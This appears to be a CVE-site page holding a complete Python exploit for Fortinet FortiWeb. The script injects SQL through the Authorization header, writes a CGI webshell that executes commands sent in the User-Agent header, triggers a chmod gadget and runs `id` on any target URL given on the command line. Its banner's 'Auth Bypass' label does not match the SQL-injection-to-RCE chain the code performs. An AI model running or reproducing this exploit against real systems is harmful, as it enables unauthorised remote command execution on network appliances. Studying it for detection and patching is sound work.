4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Forti_Bang.py PY
#!/usr/bin/env python3
import argparse
import binascii
from urllib.parse import urljoin
import requests
import urllib3

urllib3.disable_warnings()

# -------------------- 🎌 Banner --------------------
def banner():
    print("\033[95m" + r"""
   ______           _   _       _
  |  ____|         | | (_)     | |
  | |__   ___  _ __| |_ _  __ _| |_
  |  __| / _ \| '__| __| |/ _` | __|
  | |___| (_) | |  | |_| | (_| | |_
  |______\___/|_|   \__|_|\__,_|\__|

       🔥 Fortinet FortiWeb Exploit 🔥
        CVE-2025-52970 | Auth Bypass
    """ + "\033[0m")


# -------------------- 🎨 Colors --------------------
def info(msg): print("\033[94m[*]\033[0m " + msg)   # Blue
def good(msg): print("\033[92m[+]\033[0m " + msg)   # Green
def bad(msg):  print("\033[91m[!]\033[0m " + msg)   # Red
def star(msg): print("\033[96m[★]\033[0m " + msg)   # Cyan


# -------------------- SQL Injection --------------------
class SQLInjection:
    def __init__(self, target: str):
        self._target = target
        self._buggy_api = '/api/fabric/device/status'

    def inject_sql(self, injection: str) -> bool:
        headers = {"Authorization": f"Bearer ';{injection}"}
        dst_url = urljoin(self._target, self._buggy_api)
        try:
            r = requests.get(dst_url, headers=headers, verify=False)
            return r.status_code == 401
        except Exception as e:
            bad("Request failed: " + str(e))
            return False


# -------------------- RCE Primitive --------------------
class RCE(SQLInjection):
    def __init__(self, target: str):
        super().__init__(target)
        self._pyhook_path = '/cgi-bin/ml-draw.py'

        # Payloads
        self._chmod_file = (
            "import os # \r\n"
            "os.system('chmod +x /migadmin/cgi-bin/x.cgi && rm -f /var/log/lib/python3.10/pylab.py') #"
        )
        self._webshell = (
            "#!/bin/sh -- \r\n"
            "printf \"Content-Type: text/html\\r\\n\";printf \"\\r\\n\";eval $HTTP_USER_AGENT"
        )

    def upload_webshell(self) -> bool:
        self._reset_tables()
        for part in self._split_payload(self._webshell):
            info(f"writing part {part}")
            self.inject_sql(f"use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--")

        star("writing webshell file")
        self.inject_sql("select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/migadmin/cgi-bin/x.cgi'/**/FIELDS/**/ESCAPED/**/BY/**/'';--")

        self._reset_tables()
        for part in self._split_payload(self._chmod_file):
            info(f"writing part {part}")
            self.inject_sql(f"use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--")

        star("cooking chmod gadget")
        self.inject_sql("select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'")

        info("triggering chmod")
        return self._trigger_chmod()

    def run_cmd(self, cmd: str) -> bytes:
        dst_url = urljoin(self._target, '/cgi-bin/x.cgi')
        try:
            r = requests.get(dst_url, verify=False, headers={'User-Agent': cmd})
            return r.content
        except Exception as e:
            bad("Command failed: " + str(e))
            return b''

    def _trigger_chmod(self) -> bool:
        dst_url = urljoin(self._target, self._pyhook_path)
        try:
            r = requests.get(dst_url, verify=False)
            return r.status_code == 500
        except Exception as e:
            bad("Trigger failed: " + str(e))
            return False

    def _split_payload(self, input_bytes):
        return [input_bytes[i:i+16] for i in range(0, len(input_bytes), 16)]

    def _reset_tables(self):
        self.inject_sql('drop/**/table/**/fabric_user.a;--')
        self.inject_sql('create/**/table/**/fabric_user.a/**/(a/**/TEXT);--')
        self.inject_sql('insert/**/into/**/fabric_user.a/**/values(\'\');--')


# -------------------- Main --------------------
def main():
    banner()
    parser = argparse.ArgumentParser(prog='exp.py', description='SQLi ➝ RCE on FortiWeb (CVE-2025-52970)')
    parser.add_argument('-t', '--target', help='Target URL (e.g., https://victim.com/)', required=True)
    args = parser.parse_args()

    pew = RCE(args.target)
    if pew.upload_webshell():
        good("Exploit successful! ✨")
        star("executing `id` ...")
        out = pew.run_cmd('id')
        print("\033[93m" + out.decode() + "\033[0m")  # yellow highlight
        good("Webshell ready at: " + urljoin(args.target, '/cgi-bin/x.cgi'))
        print("\n\033[95mAnime Victory Scene 🎌✨\033[0m\n")
        print(r"""
        ⠀⠀⠀⢀⣤⣶⣶⣶⣶⣶⣶⣤⡀⠀⠀
        ⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀   🎇 Rooted!
        ⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀
        ⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀
        """)
        print("Use the `User-Agent` header to send commands 🕹️")
    else:
        bad("Exploit failed :(")


if __name__ == '__main__':
    main()